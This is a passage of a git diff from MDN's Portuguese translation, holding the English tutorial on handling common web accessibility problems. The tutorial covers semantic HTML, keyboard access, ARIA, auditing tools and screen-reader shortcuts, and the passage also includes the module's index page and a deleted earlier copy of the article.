O que é acessibilidade?

+ +

When we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example:

+ + + +

However, it is wrong to say that accessibility is just about disabilities. Really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers. Some examples might include:

+ + + +

In a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible. What is accessibility? defines accessibility more completely and thoroughly than this article does.

+ +

That said, this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the Web. We've already talked about other spheres such as responsive design and performance in other places in the module.

+ +
+

Note: Like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. Instead, it is more about making a reasonable effort to make as much of your content accessible to as many people as possible via defensive coding and sticking to best practices.

+
+ +

Common accessibility issues

+ +

In this section we'll detail some of the main issues that arise around web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction.

+ +
+

Note: Accessibility is morally the right thing to do, and good for business (numbers of disabled users, users on mobile devices, etc. present significant market segments), but it is also a legal requirement in many parts of the world to make web content accessible to people with disabilities. Read Accessibility guidelines and the law for more information.

+
+ +

HTML

+ +

Semantic HTML (where the elements are used for their correct purpose) is accessible right out of the box — such content is readable by sighted viewers (provided you don't do anything silly like make the text way too small or hide it using CSS), but will also be usable by assistive technologies like screen readers (apps that literally read out a web page to their user), and confer other advantages too.

+ +

Semantic structure

+ +

The most important quick win in semantic HTML is to use a structure of headings and paragraphs for your content; this is because screen reader users tend to use the headings of a document as signposts to find the content they need more quickly. If your content has no headings, all they will get is a huge wall of text with no signposts to find anything. Examples of bad and good HTML:

+ +
<font size="7">My heading</font>
+<br><br>
+This is the first section of my document.
+<br><br>
+I'll add another paragraph here too.
+<br><br>
+<font size="5">My subheading</font>
+<br><br>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+This is the second subsection of my content. I think it is more interesting than the last one.
+ +
<h1>My heading</h1>
+
+<p>This is the first section of my document.</p>
+
+<p>I'll add another paragraph here too.</p>
+
+<h2>My subheading</h2>
+
+<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
+
+<h2>My 2nd subheading</h2>
+
+<p>This is the second subsection of my content. I think it is more interesting than the last one.</p>
+ +

In addition, your content should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with.

+ +

As a test, you can turn off a site's CSS and see how understandable it is without it. You could do this manually by just removing the CSS from your code, but the easiest way is to use browser features, for example:

+ + + +

Using native keyboard accessibility

+ +

Certain HTML features can be selected using only the keyboard — this is default behavior, available since the early days of the web. The elements that have this capability are the common ones that allow user to interact with web pages, namely links, {{htmlelement("button")}}s, and form elements like {{htmlelement("input")}}.

+ +

You can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.

+ +

+ +

You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).

+ +

Note that different browsers may have different keyboard control options available. Most modern browsers follow the tab pattern described above (you can also do Shift + Tab to move backwards through the focusable elements), but some browsers have their own idiosyncracies:

+ + + +
+

Important: You should perform this kind of test on any new page you write — make sure the functionality can be accessed by the keyboard.

+
+ +

This example highlights the importance of using the correct semantic element for the correct job. It is possible to style any element to look like a link or button with CSS, and to behave like a link or button with JavaScript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. So don't do it if you can avoid it.

+ +

Another tip — as shown in our example, you can control how your focusable elements look when focused, using the :focus pseudo-class. It is a good idea to double up focus and hover styles, so your users get that visual clue that a control will do something when activated, whether they are using mouse or keyboard:

+ +
a:hover, input:hover, button:hover, select:hover,
+a:focus, input:focus, button:focus, select:focus {
+  font-weight: bold;
+}
+ +
+

Note: If you do decide to remove the default focus styling using CSS, make sure you replace it with something else that fits in with your design better — it is a very valuable accessiblity tool, and should not be removed.

+
+ +

Building in keyboard accessibility

+ +

Sometimes it is not possible to avoid losing keyboard accessibility. You might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible CMS that generates buttons made with <div>s), or you are using a complex control that does not have keyboard accessibility built in, like the HTML5 {{htmlelement("video")}} element (amazingly, Opera is the only browser that allows you to tab through the <video> element's default browser controls). You have a few options here:

+ +
    +
  1. Create custom controls using <button> elements (which we can tab to by default!) and JavaScript to wire up their functionality. See Creating a cross-browser video player for some good examples of this.
  2. +
  3. Create keyboard shortcuts via JavaScript, so functionality is activated when you press certain keys on the keyboard. See Desktop mouse and keyboard controls for some game-related examples that can be adapted for any purpose.
  4. +
  5. Use some interesting tactics to fake button behaviour. Take for example our fake-div-buttons.html example (see source code). Here we've given our fake <div> buttons the ability to be focused (including via tab) by giving each one the attribute tabindex="0" (see WebAIM's tabindex article for more really useful details). This allows us to tab to the buttons, but not to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery: +
    document.onkeydown = function(e) {
    +  if(e.keyCode === 13) { // The Enter/Return key
    +    document.activeElement.onclick(e);
    +  }
    +};
    + Here we add a listener to the document object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's keyCode property; if it is the keycode that matches Return/Enter, we run the function stored in the button's onclick handler using document.activeElement.onclick(). activeElement gives us the element that is currently focused on the page.
  6. +
+ +
+

Note: This technique will only work if you set your original event handlers via event handler properties (e.g. onclick). addEventListener won't work. This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. Better to just use the right element for the right job in the first place.

+
+ +

Text alternatives

+ +

Text alternatives are very important for accessibility — if a person has a visual or hearing impairment that stops them being able to see or hear some content, then this is a problem. The simplest text alternative available is the humble alt attribute, which we should include on all images that contain relevant content. This should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user.

+ +
+

Note: For more information, read Text alternatives.

+
+ +

Missing alt text can be tested for in a number of ways, for example using accessibility {{anch("Auditing tools")}}.

+ +

Alt text is slightly more complex for video and audio content. There is a way to define text tracks (e.g. subtitles) and display them when video is being played, in the form of the {{htmlelement("track")}} element, and the WebVTT format (see Adding captions and subtitles to HTML5 video for a detailed tutorial). Browser compatibility for these features is fairly good, but if you want to provide text alternatives for audio or support older browsers, a simple text transcript presented somewhere on the page or on a separate page might be a good idea.

+ +

Element relationships and context

+ +

There are certain features and best practices in HTML designed to provide context and relationships between elements where none otherwise exists. The three most common examples are links, form labels, and data tables.

+ +

The key to accessible link text is that people using screen readers will often use a common feature whereby they pull up a list of all the links on the page. In this case, the link text needs to make sense out of context. For example, a list of links labeled "click here", "click here", etc. is really bad for accessibility. It is better for link text to make sense in context and out of context.

+ +

Next on our list, the form {{htmlelement("label")}} element is one of the central features that allows us to make forms accessible. The trouble with forms is that you need labels to say what data should be entered into each form input. Each label needs to be included inside a {{htmlelement("label")}} to link it unambiguously to its partner form input (each <label> for attribute value needs to match the form element id value), and it will make sense even if the source order is not completely logical (which to be fair it should be).

+ +
+

Note: For more information about link text and form labels, read Meaningful text labels.

+
+ +

Finally, a quick word about data tables. A basic data table can be written with very simple markup (see bad-table.html live, and source), but this has problems — there is no way for a screen reader user to associate rows or columns together as groupings of data — to do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for such a table.

+ +

If you instead look at our punk-bands-complete.html example (live, source), you can see a few accessibility aids at work here, such as table headers ({{htmlelement("th")}} and scope attributes), {{htmlelement("caption")}} element, etc.

+ +
+

Note: For more information about accessible tables, read Accessible data tables.

+
+ +

CSS

+ +

CSS tends to provide a lot fewer fundamental accessibility features than HTML, but it can still do just as much damage to accessibility if used incorrectly. We have already mentioned a couple of accessibility tips involving CSS:

+ + + +

There are a few other considerations you should take into account.

+ +

Color and color contrast

+ +

When choosing a color scheme for your website, you should make sure that the text (foreground) color contrasts well with the background color. Your design might look cool, but it is no good if people with visual impairments like color blindness can't read your content. Use a tool like WebAIM's Color Contrast Checker to check whether your scheme is contrasting enough.

+ +

Another tip is to not rely on color alone for signposts/information, as this will be no good for those who can't see the color. Instead of marking required form fields in red, for example, mark them with an asterisk and in red.

+ +
+

Note: A high contrast ratio will also allow anyone using a smartphone or tablet with a glossy screen to better read pages when in a bright environment, such as sunlight.

+
+ +

Hiding content

+ +

There are many instances where a visual design will require that not all content is shown at once. For example, in our Tabbed info box example (see source code) we have three panels of information, but we are positioning them on top of one another and providing tabs that can be clicked to show each one (it is also keyboard accessible — you can alternatively use Tab and Enter/Return to select them).

+ +

+ +

Screen reader users don't care about any of this — they are happy with the content as long as the source order makes sense, and they can get to it all. Absolute positioning (as used in this example) is generally seen as one of the best mechanisms of hiding content for visual effect, because it doesn't stop screen readers from getting to it.

+ +

On the other hand, you shouldn't use {{cssxref("visibility")}}:hidden or {{cssxref("display")}}:none, because they do hide content from screenreaders. Unless of course, there is a good reason why you want this content to be hidden from screenreaders.

+ +
+

Note: Invisible Content Just for Screen Reader Users has a lot more useful detail surrounding this topic.

+
+ +

JavaScript

+ +

JavaScript has the same kind of problems as CSS with respect to accessibility — it can be disastrous for accessibility if used badly, or overused. We've already hinted at some accessibility problems related to JavaScript, mainly in the area of semantic HTML — you should always use appropriate semantic HTML to implement functionality wherever it is available, for example use links and buttons as appropriate. Don't use <div> elements with JavaScript code to fake functionality if at all possible — it is error prone, and more work than using the free functionality HTML gives you.

+ +

Simple functionality

+ +

Generally simple functionality should work with just the HTML in place — JavaScript should only be used to enhance functionality, not build it in entirely. Good uses of JavaScript include:

+ + + +
+

Note: WebAIM's Accessible JavaScript provides some useful further details about considerations for accessible JavaScript.

+
+ +

More complex JavaScript implementations can create issues with accessibility — you need to do what you can. For example, it would be unreasonable to expect you to make a complex 3D game written using WebGL 100% accessible to a blind person, but you could implement keyboard controls so it is usable by non-mouse users, and make the color scheme contrasting enough to be usable by those with color deficiencies.

+ +

Complex functionality

+ +

One of the main areas problematic for accessibility is complex apps that involve complicated form controls (such as date pickers) and dynamic content that is updated often and incrementally.

+ +

Non-native complicated form controls are problematic because they tend to involve a lot of nested <div>s, and the browser does not know what to do with them by default. If you are inventing them yourself, you need to make sure that they are keyboard accessible; if you are using some kind of third-party framework, carefully review the options available to see how accessible they are before diving in. Bootstrap looks to be fairly good for accessibility, for example, although Making Bootstrap a Little More Accessible by Rhiana Heath explores some of its issues (mainly related to color contrast), and looks at some solutions.

+ +

Regularly updated dynamic content can be a problem because screenreader users might miss it, especially if it updates unexpectedly. If you have a single-page app with a main content panel that is regularly updated using XMLHttpRequest or Fetch, a screenreader user might miss those updates.

+ +

WAI-ARIA

+ +

Do you need to use such complex functionality, or will plain old semantic HTML do instead? If you do need complexity, you should consider using WAI-ARIA (Accessible Rich Internet Applications), a specification that provides semantics (in the form of new HTML attributes) for items such as complex form controls and updating panels that can be understood by most browsers and screen readers.

+ +

To deal with complex form widgets, you need to use ARIA attributes like roles to state what role different elements have in a widget (for example, are they a tab, or a tab panel?), aria-disabled to say whether a control is disabled or not, etc.

+ +

To deal with regularly updating regions of content, you can use the aria-live attribute, which identifies an updating region. Its value indicates how urgently the screen reader should read it out:

+ + + +

Here's an example:

+ +
<p><span id="LiveRegion1" aria-live="polite" aria-atomic="false"></span></p>
+ +

You can see an example in action at Freedom Scientific's ARIA (Accessible Rich Internet Applications) Live Regions example — the highlighted paragraph should update its content every 10 seconds, and a screenreader should read this out to the user. ARIA Live Regions - Atomic provides another useful example.

+ +

We don't have space to cover WAI-ARIA in detail here, you can learn a lot more about it at WAI-ARIA basics.

+ +

Accessibility tools

+ +

Now we've covered accessibility considerations for different web technologies, including a few testing techniques (like keyboard navigation and color contrast checkers), let's have a look at other tools you can make use of when doing accessibility testing.

+ +

Auditing tools

+ +

There are a number of auditing tools available that you can feed your web pages into. They will look over them and return a list of accessibility issues present on the page. Examples include:

+ + + +

Let's look at an example, using Wave.

+ +
    +
  1. Go to the Wave homepage.
  2. +
  3. Enter the URL of our bad-semantics.html example into the text input at the top of the page (or the URL of another webpage you'd like to analyze) and press Analyse Your Webpage.
  4. +
  5. Check out the description of the accessibility problems on the results page (the icons you can click to see what problems are occuring where are rather useful).
  6. +
+ +
+

Note: Such tools aren't good enough to solve all your accessibility problems on their own. You'll need a combination of these, knowledge and experience, user testing, etc. to get a full picture.

+
+ +

Automation tools

+ +

Deque's aXe tool goes a bit further than the auditing tools we mentioned above. Like the others, it checks pages and returns accessibility errors. Its most immediately useful form is probably the browser extensions:

+ + + +

These add an accessibility tab to the browser developer tools. For example, we installed the Firefox version, then used it to audit our bad-table.html example. We got the following results:

+ +

+ +

aXe is also installable using npm, and can be integrated with task runners like Grunt and Gulp, automation frameworks like Selenium and Cucumber, unit testing frameworks like Jasmin, and more besides (again, see the main aXe page for details).

+ +

Screenreaders

+ +

It is definitely worth testing with a screenreader to get used to how severely visually impaired people use the Web. There are a number of screenreaders available:

+ + + +

Generally, screen readers are separate apps that run on the host operating system and can read not only web pages, but text in other apps as well. This is not always the case (ChromeVox is a browser extension), but usually. Screenreaders tend to act in slightly different ways and have different controls, so you'll have to consult the documentation for your chosen screen reader to get all of the details — saying that, they all work in basically the same sort of way.

+ +

Let's go through some tests with a couple of different screenreaders to give you a general idea of how they work and how to test with them.

+ +
+

Note: WebAIM's Designing for Screen Reader Compatibility provides some useful information about screenreader usage and what works best for screenreaders. Also see Screen Reader User Survey #6 Results for some interesting screenreader usage statistics.

+
+ +

VoiceOver

+ +

VoiceOver (VO) comes free with your Mac/iPhone/iPad, so it's useful for testing on desktop/mobile if you use Apple products. We'll be testing it on Mac OS X on a MacBook Pro.

+ +

To turn it on, press Cmd + F5. If you've not used VO before, you will be given a welcome screen where you can choose to start VO or not, and run through a rather useful tutorial to learn how to use it. To turn it off again, press Cmd + F5 again.

+ +
+

Note: You should go through the tutorial at least once — it is a really useful way to learn VO.

+
+ +

When VO is on, the display will look mostly the same, but you'll see a black box at the bottom left of the screen that contains information on what VO currently has selected. The current selection will also be highlighted, with a black border — this highlight is known as the VO cursor.

+ +

+ +

To use VO, you will make a lot of use of the "VO modifier" — this is a key or key combination that you need to press in addition to the actual VO keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of VO, the modifier can either be CapsLock, or Ctrl + Option.

+ +

VO has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "VO" means "the VoiceOver modifier".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Most common VoiceOver keyboard shortcuts
Keyboard shortcutDescription
VO + Cursor keysMove the VO cursor up, right, down, left.
VO + SpacebarSelect/activate items highlighted by the VO cursor. This includes items selected in the Rotor (see below).
VO + Shift + down cursorMove into a group of items (such as an HTML table, or a form, etc.) Once inside a group you can move around and select items inside that group using the above commands as normal.
VO + Shift + up cursorMove out of a group.
VO + C(when inside a table) Read the header of the current column.
VO + R(when inside a table) Read the header of the current row.
VO + C + C (two Cs in succession)(when inside a table) Read the entire current column, including header.
VO + R + R (two Rs in succession)(when inside a table) Read the entire current row, including the headers that correspond to each cell.
VO + left cursor, VO + right cursor(when inside some horizontal options, such as a date or time picker) Move between options.
VO + up cursor, VO + down cursor(when inside some horizontal options, such as a date or time picker) Change the current option.
VO + UUse the Rotor, which displays lists of headings, links, form controls, etc. for easy navigation.
VO + left cursor, VO + right cursor(when inside Rotor) Move between different lists available in the Rotor.
VO + up cursor, VO + down cursor(when inside Rotor) Move between different items in the current Rotor list.
Esc(when inside Rotor) Exit Rotor.
Ctrl(when VO is speaking) Pause/Resume speech.
VO + ZRestart the last bit of speech.
VO + DGo into the Mac's Dock, so you can select apps to run inside it.
+ +

This seems like a lot of commands, but it isn't so bad when you get used to it, and VO regularly gives you reminders of what commands to use in certain places. Have a play with VO now; you can then go on to play with some of our examples in the {{anch("Screenreader testing")}} section.

+ +

NVDA

+ +

NVDA is Windows-only, and you'll need to install it.

+ +
    +
  1. Download it from nvaccess.org. You can choose whether to make a donation or download it for free; you'll also need to give them your e-mail address before you can download it.
  2. +
  3. Once downloaded, install it — you double click the installer, accept the license and follow the prompts.
  4. +
  5. To start NVDA, double click on the program file/shortcut, or use the keyboard shortcut Ctrl + Alt + N. You'll see the NVDA welcome dialog when you start it. Here you can choose from a couple of options, then press the OK button to get going.
  6. +
+ +

NVDA will now be active on your computer.

+ +

To use NVDA, you will make a lot of use of the "NVDA modifier" — this is a key that you need to press in addition to the actual NVDA keyboard shortcuts to get them to work. Using a modifier like this is common with screenreaders, to enable them to keep their commands from clashing with other commands. In the case of NVDA, the modifier can either be Insert (the default), or CapsLock (can be chosen by checking the first checkbox in the NVDA welcome dialog before pressing OK).

+ +
+

Note: NVDA is more subtle than VoiceOver in terms of how it highlights where it is and what it is doing. When you are scrolling through headings, lists, etc., items you are selected on will generally be highlighted with a subtle outline, but this is not always the case for all things. If you get completely lost, you can press Ctrl + F5 to refresh the current page and begin from the top again.

+
+ +

NVDA has many keyboard commands, and we won't list them all here. The basic ones you'll need for web page testing are in the following table. In the keyboard shortcuts, "NVDA" means "the NVDA modifier".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Most common NVDA keyboard shortcuts
Keyboard shortcutDescription
NVDA + QTurn NVDA off again after you've started it.
NVDA + up cursorRead the current line.
NVDA + down cursorStart reading at the current position.
Up cursor and down cursor, or Shift + Tab and TabMove to previous/next item on page and read it.
Left cursor and right cursorMove to previous/next character in current item and read it.
Shift + H and HMove to previous/next heading and read it.
Shift + K and KMove to previous/next link and read it.
Shift + D and DMove to previous/next document landmark (e.g. <nav>) and read it.
Shift + 1–6 and 1–6Move to previous/next heading (level 1–6) and read it.
Shift + F and FMove to previous/next form input and focus on it.
Shift + T and TMove to previous/next data table and focus on it.
Shift + B and BMove to previous/next button and read its label.
Shift + L and LMove to previous/next list and read its first list item.
Shift + I and IMove to previous/next list item and read it.
Enter/Return(when link/button or other activatable item is selected) Activate item.
NVDA + Space(when form is selected) Enter form so individual items can be selected, or leave form if you are already in it.
Shift Tab and Tab(when inside form) Move between form inputs.
Up cursor and down cursor(when inside form) Change form input values (in the case of things like select boxes).
Spacebar(when inside form) Select chosen value.
Ctrl + Alt + cursor keys(when a table is selected) Move between table cells.
+ +

Screenreader testing

+ +

Now you've gotten used to using a screenreader, we'd like you to use it to do some quick accessibility tests, to get an idea of how screenreaders deal with good and bad webpage features:

+ + + +

User testing

+ +

As mentioned above, you can't rely on automated tools alone for determining accessibility problems on your site. It is recommended that when you draw up your testing plan, you should include some accessibility user groups if at all possible (see our User Testing section earlier on in the course for some more context). Try to get some screenreader users involved, some keyboard-only users, some non-hearing users, and perhaps other groups too, as suits your requirements.

+ +

Accessibility testing checklist

+ +

The following list provides a checklist for you to follow to make sure you've carried out the recommended accessibility testing for your project:

+ +
    +
  1. Make sure your HTML is as semantically correct as possible. Validating it is a good start, as is using an Auditing tool.
  2. +
  3. Check that your content makes sense when the CSS is turned off.
  4. +
  5. Make sure your functionality is keyboard accessible. Test using Tab, Return/Enter, etc.
  6. +
  7. Make sure your non-text content has text alternatives. An Auditing tool is good for catching such problems.
  8. +
  9. Make sure your site's color contrast is acceptable, using a suitable checking tool.
  10. +
  11. Make sure hidden content is visible by screenreaders.
  12. +
  13. Make sure that functionality is usable without JavaScript wherever possible.
  14. +
  15. Use ARIA to improve accessibility where appropriate.
  16. +
  17. Run your site through an Auditing tool.
  18. +
  19. Test it with a screenreader.
  20. +
  21. Include an accessibility policy/statement somewhere findable on your site to say what you did.
  22. +
+ +

Finding help

+ +

There are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online. Consult the HTML and CSS article's Finding help section for some good pointers.

+ +

Summary

+ +

Hopefully this article has given you a good grounding in the main accessibility problems you might encounter, and how to test and overcome them.

+ +

In the next article we'll look at feature detection in more detail.

+ +

{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}

+ +

In this module

+ + diff --git a/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html new file mode 100644 index 0000000000..f788649424 --- /dev/null +++ b/files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html @@ -0,0 +1,47 @@ +--- +title: Teste cruzado de navegador +slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador +tags: + - Acessibilidade + - Aprender + - Automação + - CSS + - CodingScripting + - Ferramentas + - HTML + - JavaScript + - Landing + - Principiante + - Testar + - cruzado navegador + - modulo +translation_of: Learn/Tools_and_testing/Cross_browser_testing +--- +
{{LearnSidebar}}
+ +

Este módulo foca-se em testar projetos da web em diferentes navegadores. Nós olhamos para identificar o seu público alvo (por exemplo, quais o s utilizadores, navegadores e dispositivos que mais precisa de se preocupar?), como testar, os principais problemas que irá enfrentar com diferentes tipos de código e como os mitigar, quais as ferramentas que são mais úteis para ajudá-lo a testar e corrigir problemas, e como utilizar a automação para acelerar os testes.

+ +

Pré-requisitos

+ +

You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here.

+ +

Guias

+ +
+
Introduction to cross browser testing
+
This article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?"
+
Strategies for carrying out testing
+
Next, we drill down into carrying out testing, looking at identifying a target audience (e.g. what browsers, devices, and other segments should you make sure are tested), low fi testing strategies (get yourself a range of devices and some virtual machines and do adhoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
+
Handling common HTML and CSS problems
+
With the scene set, we'll now look specifically at the common cross browser problems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handing CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
+
Handling common JavaScript problems
+
Now we'll look at common cross browser JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern JavaScript features working in older browsers, and more.
+
Handling common accessibility problems
+
Next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
+
Implementing feature detection
+
Feature detection involves working out whether a browser supports a certain block of code, and running different code dependent on whether it does (or doesn't), so that the browser can always provide a working experience rather crashing/erroring in some browsers. This article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports.
+
Introduction to automated testing
+
Manually running tests on several browsers and devices, several times per day, can get tedious and time consuming. To handle this efficiently, you should become familiar with automation tools. In this article we look at what is available, how to use task runners, and the basics of how to use commercial browser test automation apps such as Sauce Labs and Browser Stack.
+
Setting up your own test automation environment
+
In this article, we will teach you how to install your own automation environment and run your own tests using Selenium/WebDriver and a testing library such as selenium-webdriver for Node. We will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the previous article.
+
diff --git a/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/acessibilidade/index.html b/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/acessibilidade/index.html deleted file mode 100644 index c50c8854ba..0000000000 --- a/files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/acessibilidade/index.html +++ /dev/null @@ -1,607 +0,0 @@ ---- -title: Como tratar de problemas de acessibilidade comuns -slug: Learn/Tools_and_testing/Teste_cruzado_de_navegador/Acessibilidade -translation_of: Learn/Tools_and_testing/Cross_browser_testing/Accessibility ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}
- -

Neste módulo, vamos falar de acessibilidade, abordando problemas frequentes, como fazer testes simples, e como utilizar ferramentas de automatização e auditoria para identificar problemas de acessibilidade.

- - - - - - - - - - - - -
Pré-requisitos:Familiaridade com as bases de HTML, CSS, e JavaScript; uma ideia-base dos princípios de testes cross browser de alto nível.
Objetivo:Saber diagnosticar problemas comuns de acessibilidade, e saber usar as ferramentas e técnicas adequadas para resolvê-los.
- -

O que é acessibilidade?

- -

When we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example:

- - - -

However, it is wrong to say that accessibility is just about disabilities. Really, the aim of accessibility is to make your websites/apps usable by as many people in as many contexts as possible, not just those users using high-powered desktop computers. Some examples might include:

- - - -

In a way, this whole module is about accessibility — cross browser testing makes sure that your sites can be used by as many people as possible. What is accessibility? defines accessibility more completely and thoroughly than this article does.

- -

That said, this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the Web. We've already talked about other spheres such as responsive design and performance in other places in the module.

- -
-

Note: Like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. Instead, it is more about making a reasonable effort to make as much of your content accessible to as many people as possible via defensive coding and sticking to best practices.

-
- -

Common accessibility issues

- -

In this section we'll detail some of the main issues that arise around web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction.

- -
-

Note: Accessibility is morally the right thing to do, and good for business (numbers of disabled users, users on mobile devices, etc. present significant market segments), but it is also a legal requirement in many parts of the world to make web content accessible to people with disabilities. Read Accessibility guidelines and the law for more information.

-
- -

HTML

- -

Semantic HTML (where the elements are used for their correct purpose) is accessible right out of the box — such content is readable by sighted viewers (provided you don't do anything silly like make the text way too small or hide it using CSS), but will also be usable by assistive technologies like screen readers (apps that literally read out a web page to their user), and confer other advantages too.

- -

Semantic structure

- -

The most important quick win in semantic HTML is to use a structure of headings and paragraphs for your content; this is because screen reader users tend to use the headings of a document as signposts to find the content they need more quickly. If your content has no headings, all they will get is a huge wall of text with no signposts to find anything. Examples of bad and good HTML:

- -
<font size="7">My heading</font>
-<br><br>
-This is the first section of my document.
-<br><br>
-I'll add another paragraph here too.
-<br><br>
-<font size="5">My subheading</font>
-<br><br>
-This is the first subsection of my document. I'd love people to be able to find this content!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-This is the second subsection of my content. I think it is more interesting than the last one.
- -
<h1>My heading</h1>
-
-<p>This is the first section of my document.</p>
-
-<p>I'll add another paragraph here too.</p>
-
-<h2>My subheading</h2>
-
-<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
-
-<h2>My 2nd subheading</h2>
-
-<p>This is the second subsection of my content. I think it is more interesting than the last one.</p>
- -

In addition, your content should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with.

- -

As a test, you can turn off a site's CSS and see how understandable it is without it. You could do this manually by just removing the CSS from your code, but the easiest way is to use browser features, for example:

- - - -

Using native keyboard accessibility

- -

Certain HTML features can be selected using only the keyboard — this is default behavior, available since the early days of the web. The elements that have this capability are the common ones that allow user to interact with web pages, namely links, {{htmlelement("button")}}s, and form elements like {{htmlelement("input")}}.

- -

You can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.

- -

- -

You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).

- -

Note that different browsers may have different keyboard control options available. Most modern browsers follow the tab pattern described above (you can also do Shift + Tab to move backwards through the focusable elements), but some browsers have their own idiosyncracies:

- - - -
-

Important: You should perform this kind of test on any new page you write — make sure the functionality can be accessed by the keyboard.

-
- -

This example highlights the importance of using the correct semantic element for the correct job. It is possible to style any element to look like a link or button with CSS, and to behave like a link or button with JavaScript, but they won't actually be links or buttons, and you'll lose a lot of the accessibility these elements give you for free. So don't do it if you can avoid it.

- -

Another tip — as shown in our example, you can control how your focusable elements look when focused, using the :focus pseudo-class. It is a good idea to double up focus and hover styles, so your users get that visual clue that a control will do something when activated, whether they are using mouse or keyboard:

- -
a:hover, input:hover, button:hover, select:hover,
-a:focus, input:focus, button:focus, select:focus {
-  font-weight: bold;
-}
- -
-

Note: If you do decide to remove the default focus styling using CSS, make sure you replace it with something else that fits in with your design better — it is a very valuable accessiblity tool, and should not be removed.

-
- -

Building in keyboard accessibility

- -

Sometimes it is not possible to avoid losing keyboard accessibility. You might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible CMS that generates buttons made with <div>s), or you are using a complex control that does not have keyboard accessibility built in, like the HTML5 {{htmlelement("video")}} element (amazingly, Opera is the only browser that allows you to tab through the <video> element's default browser controls). You have a few options here:

- -
    -
  1. Create custom controls using <button> elements (which we can tab to by default!) and JavaScript to wire up their functionality. See Creating a cross-browser video player for some good examples of this.
  2. -
  3. Create keyboard shortcuts via JavaScript, so functionality is activated when you press certain keys on the keyboard. See Desktop mouse and keyboard controls for some game-related examples that can be adapted for any purpose.
  4. -
  5. Use some interesting tactics to fake button behaviour. Take for example our fake-div-buttons.html example (see source code). Here we've given our fake <div> buttons the ability to be focused (including via tab) by giving each one the attribute tabindex="0" (see WebAIM's tabindex article for more really useful details). This allows us to tab to the buttons, but not to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery: -
    document.onkeydown = function(e) {
